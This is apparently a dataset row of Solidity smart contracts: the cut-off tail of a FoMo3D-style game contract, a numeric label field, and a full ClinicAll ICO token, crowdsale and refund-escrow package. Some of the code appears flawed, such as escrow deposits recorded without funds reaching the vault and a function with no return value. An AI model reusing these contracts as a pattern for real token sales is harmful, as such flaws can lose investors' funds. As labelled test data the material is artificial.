return ((39062500).mul(_keys.sq()).add(((74999921875000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 388 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract ClinicAllRefundEscrow is RefundEscrow {
using Math for uint256;
struct RefundeeRecord {
bool isRefunded;
uint256 index;
}
mapping(address => RefundeeRecord) public refundees;
address[] internal refundeesList;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
mapping(address => uint256) private beneficiaryDeposits;
uint256 public beneficiaryDepositedAmount;
uint256 public investorsDepositedToCrowdSaleAmount;
constructor(address _beneficiary)
RefundEscrow(_beneficiary)
public {
}
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function beneficiaryDepositsOf(address _payee) public view returns (uint256) {
return beneficiaryDeposits[_payee];
}
function deposit(address _refundee) public payable {
uint256 amount = msg.value;
beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount);
beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount);
}
function depositFunds(address _refundee, uint256 _value) public onlyOwner {
require(state == State.Active, "Funds deposition is possible only in the Active state.");
uint256 amount = _value;
deposits[_refundee] = deposits[_refundee].add(amount);
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount);
emit Deposited(_refundee, amount);
RefundeeRecord storage _data = refundees[_refundee];
_data.isRefunded = false;
if (_data.index == uint256(0)) {
refundeesList.push(_refundee);
_data.index = refundeesList.length.sub(1);
}
}
function close() public onlyOwner {
super.close();
}
function withdraw(address _payee) public onlyOwner {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment);
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function manualRefund(address _payee) public onlyOwner {
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
deposits[_payee] = 0;
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
function removeRefundeeByIndex(uint256 _indexToDelete) private {
if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) {
uint256 _lastIndex = refundeesList.length.sub(1);
refundeesList[_indexToDelete] = refundeesList[_lastIndex];
refundeesList.length--;
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return refundeesList.length;
}
function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
uint256 _refundeesCount = refundeesList.length;
require(_chunkLength >= _refundeesCount);
require(_txFee > 0, "Transaction fee should be above zero.");
require(_refundeesCount > 0, "List of investors should not be empty.");
uint256 _weiRefunded = 0;
require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees.");
address[] memory _refundeesListCopy = new address[](_chunkLength);
uint256 i;
for (i = 0; i < _chunkLength; i++) {
address _refundee = refundeesList[i];
RefundeeRecord storage _data = refundees[_refundee];
if (_data.isRefunded == false) {
if (depositsOf(_refundee) > _txFee) {
uint256 _deposit = depositsOf(_refundee);
if (_deposit > _txFee) {
_weiRefunded = _weiRefunded.add(_deposit);
uint256 _paymentWithoutTxFee = _deposit.sub(_txFee);
_refundee.transfer(_paymentWithoutTxFee);
emit Withdrawn(_refundee, _paymentWithoutTxFee);
_data.isRefunded = true;
_refundeesListCopy[i] = _refundee;
}
}
}
}
for (i = 0; i < _chunkLength; i++) {
if (address(0) != _refundeesListCopy[i]) {
RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]];
require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded.");
removeRefundeeByIndex(_dataCleanup.index);
}
}
return (_weiRefunded, _refundeesListCopy);
}
function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
return withdrawChunk(_txFee, refundeesList.length);
}
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
require(_value <= address(this).balance, "Withdraw part can not be more than current balance");
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
function beneficiaryWithdrawAll() public onlyOwner {
uint256 _value = address(this).balance;
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] tokens) onlyOwner public {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract TransferableToken is Ownable {
event TransferOn();
event TransferOff();
bool public transferable = false;
modifier whenNotTransferable() {
require(!transferable);
_;
}
modifier whenTransferable() {
require(transferable);
_;
}
function transferOn() onlyOwner whenNotTransferable public {
transferable = true;
emit TransferOn();
}
function transferOff() onlyOwner whenTransferable public {
transferable = false;
emit TransferOff();
}
}
contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible, TransferableToken {
constructor
(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{
}
function burnAfterRefund(address _who) public onlyOwner {
uint256 _value = balances[_who];
_burn(_who, _value);
}
function transfer(
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function transferToPrivateInvestor(
address _from,
address _to,
uint256 _value
)
public
onlyOwner
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burnPrivateSale(address privateSaleWallet, uint256 _value) public onlyOwner {
_burn(privateSaleWallet, _value);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
contract Managed is Ownable, RBAC {
string public constant ROLE_MANAGER = "manager";
modifier onlyManager() {
checkRole(msg.sender, ROLE_MANAGER);
_;
}
function setManager(address _operator) public onlyOwner {
addRole(_operator, ROLE_MANAGER);
}
function removeManager(address _operator) public onlyOwner {
removeRole(_operator, ROLE_MANAGER);
}
}
contract Limited is Managed {
using SafeMath for uint256;
mapping(address => uint256) public limitsList;
modifier isLimited(address _payee) {
require(limitsList[_payee] > 0, "An investor is limited if it has a limit.");
_;
}
modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance, uint256 kycLimitEliminator) {
if(_tokenBalance.add(_tokenAmount) >= kycLimitEliminator) {
require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying.");
}
_;
}
function getLimit(address _payee)
public view returns (uint256)
{
return limitsList[_payee];
}
function addAddressesLimits(address[] _payees, uint256[] _limits) public
onlyManager
{
require(_payees.length == _limits.length, "Array sizes should be equal.");
for (uint256 i = 0; i < _payees.length; i++) {
addLimit(_payees[i], _limits[i]);
}
}
function addLimit(address _payee, uint256 _limit) public
onlyManager
{
limitsList[_payee] = _limit;
}
function removeLimit(address _payee) external
onlyManager
{
limitsList[_payee] = 0;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ManagedWhitelist is Managed, Whitelist {
function addAddressToWhitelist(address _operator) public onlyManager {
addRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator) public onlyManager {
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited {
constructor
(
uint256 _tokenLimitSupply,
uint256 _rate,
address _wallet,
address _privateSaleWallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _discountTokenAmount,
uint256 _discountTokenPercent,
uint256 _preSaleClosingTime,
uint256 _softCapLimit,
ClinicAllRefundEscrow _vault,
uint256 _buyLimitSupplyMin,
uint256 _buyLimitSupplyMax,
uint256 _kycLimitEliminator
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{
privateSaleWallet = _privateSaleWallet;
tokenSupplyLimit = _tokenLimitSupply;
discountTokenAmount = _discountTokenAmount;
discountTokenPercent = _discountTokenPercent;
preSaleClosingTime = _preSaleClosingTime;
softCapLimit = _softCapLimit;
vault = _vault;
buyLimitSupplyMin = _buyLimitSupplyMin;
buyLimitSupplyMax = _buyLimitSupplyMax;
kycLimitEliminator = _kycLimitEliminator;
}
using SafeMath for uint256;
ClinicAllRefundEscrow public vault;
uint256 public tokenSupplyLimit;
uint256 public discountTokenAmount;
uint256 public discountTokenPercent;
uint256 public preSaleClosingTime;
uint256 public softCapLimit;
uint256 public buyLimitSupplyMin;
uint256 public buyLimitSupplyMax;
uint256 public kycLimitEliminator;
address public privateSaleWallet;
uint256 public privateSaleSupplyLimit;
function updateRate(uint256 _rate) public
onlyManager
{
require(_rate != 0, "Exchange rate should not be 0.");
rate = _rate;
}
function updateBuyLimitRange(uint256 _min, uint256 _max) public
onlyOwner
{
require(_min != 0, "Minimal buy limit should not be 0.");
require(_max != 0, "Maximal buy limit should not be 0.");
require(_max > _min, "Maximal buy limit should be greater than minimal buy limit.");
buyLimitSupplyMin = _min;
buyLimitSupplyMax = _max;
}
function updateKycLimitEliminator(uint256 _value) public
onlyOwner
{
require(_value != 0, "Kyc Eliminator should not be 0.");
kycLimitEliminator = _value;
}
function claimRefund() public {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 deposit = vault.depositsOf(msg.sender);
vault.withdraw(msg.sender);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(msg.sender);
}
function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 _weiRefunded;
address[] memory _refundeesList;
(_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength);
weiRaised = weiRaised.sub(_weiRefunded);
for (uint256 i = 0; i < _refundeesList.length; i++) {
ClinicAllToken(token).burnAfterRefund(_refundeesList[i]);
}
}
function refundeesListLength() public onlyOwner view returns (uint256) {
return vault.refundeesListLength();
}
function hasClosed() public view returns (bool) {
return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply());
}
function goalReached() public view returns (bool) {
return token.totalSupply() >= softCapLimit;
}
function supplyRest() public view returns (uint256) {
return (tokenSupplyLimit.sub(token.totalSupply()));
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary), kycLimitEliminator)
{
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
isLimited(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit.");
require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit.");
require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit.");
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
if (isDiscount()) {
return _getTokensWithDiscount(_weiAmount);
}
return _weiAmount.mul(rate);
}
function getTokenAmount(uint256 _weiAmount)
public view returns (uint256)
{
return _getTokenAmount(_weiAmount);
}
function _getTokensWithDiscount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 tokens = 0;
uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply());
uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount);
if (restOfDiscountTokens < discountTokensMax) {
uint256 discountTokens = restOfDiscountTokens;
uint256 _rate = _getDiscountRate();
uint256 _discointWeiAmount = discountTokens.div(_rate);
uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount);
uint256 normalTokens = _restOfWeiAmount.mul(rate);
tokens = discountTokens.add(normalTokens);
} else {
tokens = discountTokensMax;
}
return tokens;
}
function _getDiscountTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH.");
uint256 _rate = _getDiscountRate();
return _weiAmount.mul(_rate);
}
function _getDiscountRate()
internal view returns (uint256)
{
require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit.");
return rate.add(rate.mul(discountTokenPercent).div(100));
}
function getRate()
public view returns (uint256)
{
if (isDiscount()) {
return _getDiscountRate();
}
return rate;
}
function isDiscount()
public view returns (bool)
{
return (preSaleClosingTime >= block.timestamp);
}
function transferTokensToReserve(address _beneficiary) private
{
require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit.");
uint256 _tokenCap = CappedToken(token).cap();
uint256 tokens = _tokenCap.sub(tokenSupplyLimit);
_deliverTokens(_beneficiary, tokens);
}
function transferOn() public onlyOwner
{
ClinicAllToken(token).transferOn();
}
function transferOff() public onlyOwner
{
ClinicAllToken(token).transferOff();
}
function finalization() internal {
if (goalReached()) {
transferTokensToReserve(wallet);
vault.close();
} else {
vault.enableRefunds();
}
MintableToken(token).finishMinting();
super.finalization();
}
function _forwardFunds() internal {
super._forwardFunds();
vault.depositFunds(msg.sender, msg.value);
}
modifier onlyPrivateSaleWallet() {
require(privateSaleWallet == msg.sender, "Wallet should be the same as private sale wallet.");
_;
}
function transferToPrivateInvestor(
address _beneficiary,
uint256 _value
)
public
onlyPrivateSaleWallet
onlyIfWhitelisted(_beneficiary)
returns (bool)
{
ClinicAllToken(token).transferToPrivateInvestor(msg.sender, _beneficiary, _value);
}
function redeemPrivateSaleFunds()
public
onlyPrivateSaleWallet
{
uint256 _balance = ClinicAllToken(token).balanceOf(msg.sender);
privateSaleSupplyLimit = privateSaleSupplyLimit.sub(_balance);
ClinicAllToken(token).burnPrivateSale(msg.sender, _balance);
}
